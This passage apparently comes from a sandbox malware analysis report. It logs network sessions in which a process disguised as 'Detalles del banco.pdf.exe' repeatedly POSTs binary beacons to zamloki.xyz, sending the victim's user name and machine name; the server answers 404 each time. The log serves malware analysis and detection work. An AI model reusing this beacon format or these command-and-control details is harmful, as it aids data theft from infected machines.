Jul 27, 2021 22:07:21.042516947 CEST	1307	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:21.314574957 CEST	1307	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nwiL6VvrNUTH9bd8%2Bwjmr2LsuXmS10hfuaGPXD%2FjZKVVLIwxufQP3dkhrZ0LMeuQv9GUiMY8cxLHG%2FuCOF22H7Tp1uC3hJqMMzdk4GyHSiD7cIIIynLRM7LoonDfvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e546c8f05cc-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	49801	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:55.636683941 CEST	6969	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:55.664475918 CEST	6970	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:55.971689939 CEST	6970	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AT99ircLMOJQPahJDmEMnAM1qiYL8r%2Fk4%2Fd9oQTCc1mqaZk69XyaRdarSU7MULYj6hjiz8rn3H9UHsW2p9C7S3yek1o4hl6mwVp4yX8FZuc%2FilcUJNWENesU7bWl2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f2cccedbedd-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	49802	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:56.349514008 CEST	6971	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:56.375277996 CEST	6971	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:56.653682947 CEST	6972	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RFUYVrrP6bphxJN08LZB5NXbIAE7ss70ZbKGnD0PTwlniv%2F3XZdsbxdXhrUJH7ictCKnbep03apMmXQE4AHVtcBRVyWJsxphD6ivH1Q0OfF2u8T1%2BUFkQO0YTE4vxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f313d9d4e13-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	49803	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:56.996817112 CEST	6973	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:57.026942015 CEST	6974	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:57.267957926 CEST	6981	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CfJWWjht99NZ6CJ19B%2FIc%2BBLt8j6umKxzzoA5z3kTiDNBvQEQiVJHhO0ao6SuoIMFZSXVIenpZtVTR%2Fcbx09BKCfAaCaK%2Fk1e9hrSLrTfEwRRKdwYTv4PQWjgiagTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f354d98536a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	49805	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:57.687828064 CEST	6984	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:57.716720104 CEST	6985	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:58.002640009 CEST	6985	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dwuV6P3quer3LsTMQbTLIhKJv7GAvcMIoMpLaU%2BG0SgY2lDaaKaqU8ppovVAf7mseKIu2MpIzs8ui%2FIbG%2BqLZWmXZ%2FAF771TwHJ1%2FRsQyifXiqaFBUePy%2BecJ0RQXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f3998cd2b4d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	49806	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:58.971755981 CEST	6986	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:58.998703957 CEST	6986	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:59.273953915 CEST	6987	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4zHDAiBkd%2FJfAogu1dsX7IGkQrWTtUx9laPLQ3z%2BY3KiA5xQ32PSNZuBJSpuoU74rqVSLY9GgFXf8NWCALrsUxmvQktcZtdPqFeBF9zqtmFZsHuDgrbhfLBfUEQkRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f419cde2b12-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	49807	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:00.242825985 CEST	6988	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:00.270633936 CEST	6988	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:00.636075020 CEST	6989	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qolu6qVcJcliyvhz5kEZJktDWmleitgh63l7ivdpxPQSMH3gE%2FrfOFQnQHjzgeOG5m5IM%2BQHjzg3FRPXKGb50aRaRZ28hQWS8JKAilaMNsDLx3CSa2qnSQl%2BykCuyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f499edd4e61-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	49808	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:00.885442972 CEST	6990	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:00.913419962 CEST	6990	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:01.194361925 CEST	6991	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gk6WNDCDkPGsJIhMfv24j%2B4LK8ZDMWlg4gK1IYEHRwFHT2TKl%2Fmy%2B3eWalGcsdE1iX8MrxP6b5kjgEqvrgUQPi5m8OtK3WBhkI%2FrpLaBznEoNQkTOf%2BqQa27E3EsdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f4d9a8c4a7a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	49809	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:01.570871115 CEST	6992	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:01.599230051 CEST	6992	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:01.888398886 CEST	6993	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bacdi7QCm%2BW%2FLPXAjjrKUORwv6yTeEbk9Dv8ZMtY8uvV1km74owNo8bRq82G74S3bPw5krG3r8z9jbzygsw9rJ4mFO8Hnp%2BPy3TMFFZcebtfdK753%2FAM2GvkaNmDYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f51eb530625-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	49810	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:02.213196993 CEST	6994	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:02.241075039 CEST	6994	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:02.595441103 CEST	6995	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5uqVDIZ%2F%2FgfGeRF3T3M7iCuU0o5Whg0NkYwycsuMYAhI4JmRUxHnDHlDuEW95VlImUpWcJFCQnJX2jltVYcpSTGXLYhtU4K7XaQ5jmJ%2BhiInPzRV48vYwsvuH5KQSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f55edd44e9d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	49811	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:02.846436024 CEST	6996	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:02.872123957 CEST	6996	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:03.169660091 CEST	6997	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pN9jq40Obkb7ZMnchZSR4CqJuYVh3i08ByPHmJL8aul9leKQ%2BGqmjqfUwYKcfurob8FPTGJ%2FWXu2UZKxwWLcAYBqvUdGhGwb8QFLuGes2nh6LJ%2FZX5zmyjyt1xZPCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f59ddb84ecd-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49730	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:21.626991987 CEST	1309	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:21.654970884 CEST	1309	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:21.919950008 CEST	1356	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=14DMcZ1G8XmrsNlsDSN2HDYhtnAyVEnjcNk4COJE2np7CSc%2FOhidRqZS1XghTc0hrQFvR%2F5Q%2FlF9jGHORoSqYFtNOAzzbLjV%2BDWHyZa4tDjIKaOSTO0q5Remlqf3Ig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e583e31974e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	49812	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:03.429326057 CEST	6997	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:03.457616091 CEST	6998	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:03.714422941 CEST	6998	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FAzF6DHWmAIny4vttPZ8SArzKioB2NQwpfQYCfPmqLLJgSjK211UPBfCYUn088pGmKwzRqTdEh8TSrHsrNXAqnAwLbNfmuN6IuEFbHjVmyIBhUmWnRcftk1gAruqrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f5d7e7296e0-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	49813	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:04.177613974 CEST	6999	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:04.204010963 CEST	7000	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:04.455826998 CEST	7000	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Jx0ZiJrrwp51oIzi6b7pzL9015f3BSfqnJWqV9YpamwCkBk%2FfjVy9zUcHOcmWc183UMoe9JKXsm4Hs2HTAglpL31AWk7RNA%2BKNd0AzL1869Ts%2FljIJxcRtFe31vkHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f622fea4e0d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	49814	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:04.682111979 CEST	7002	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:04.710031986 CEST	7002	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:04.962935925 CEST	7003	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DKRNRUvfp68rZL2jvSUekZBt8r5RrH346opTiCkHUTcOJFdVQ4m%2FicOGnXXGMoCdAijJBWaG9QHtJ7EMsZR27rUBSZi5kQYHs9QS2O7SmP9xp5m8To296JDrahi5xg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f655b7d4e6d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
